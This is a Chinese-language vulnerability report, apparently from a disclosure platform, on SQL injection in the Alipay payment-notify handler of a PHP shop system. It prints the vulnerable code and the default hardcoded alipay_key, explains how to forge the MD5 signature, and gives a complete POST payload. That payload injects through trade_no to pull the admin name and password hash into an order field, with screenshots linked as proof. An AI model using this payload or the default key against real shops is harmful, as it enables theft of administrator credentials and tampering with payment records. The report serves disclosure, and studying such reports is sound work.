### 简要描述:
rt
### 详细说明:
/include/plugin/payway/alipay/notify_url_db.php
```
$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyNotify();
//验证成功
if ($verify_result) {
//商户订单号
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
$info = $db->pe_select('order', array('order_id'=>$out_trade_no));
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款
if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
echo "success"; //请不要修改或删除
}
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
elseif ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $trade_no;
$order['order_payway'] = 'alipay_db';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
echo "success"; //请不要修改或删除
}
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作
elseif ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
if ($info['order_state'] == 'paid') {
$order['order_state'] = 'send';
$order['order_stime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
```
trade_no out_trade_no 都没有过滤,如何 verify_result为 ture?
默认安装时,
```
alipay_key = esfsclzgahxncgzi3bbe7giwa2ywxyv3
```
```
function md5Verify($prestr, $sign, $key) {
$prestr = $prestr . $key;
$mysgin = md5($prestr);
if($mysgin == $sign) {
return true;
}
```
当 sign等于 post的数据与key做md5加密 后的值时,即为ture。
前台买个商品,记下订单号
[<img src="https://images.seebug.org/upload/201501/151602558b6a08d0737f6eef3e4fdf2293f40f8c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/151602558b6a08d0737f6eef3e4fdf2293f40f8c.png)
提交数据
[<img src="https://images.seebug.org/upload/201501/1516034722f288ec93552583da147c3b54d89906.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/1516034722f288ec93552583da147c3b54d89906.jpg)
```
sign=c716ce88d4e890cb28d5b87366873d8f&out_trade_no=1501150001&trade_no=0',user_address=(select concat(admin_name,0x3c,admin_pw) from pe_admin limit 1),user_phone='1&trade_status=WAIT_SELLER_SEND_GOODS
```
然后 查看订单,数据就出来咯~
[<img src="https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg)
暂无评论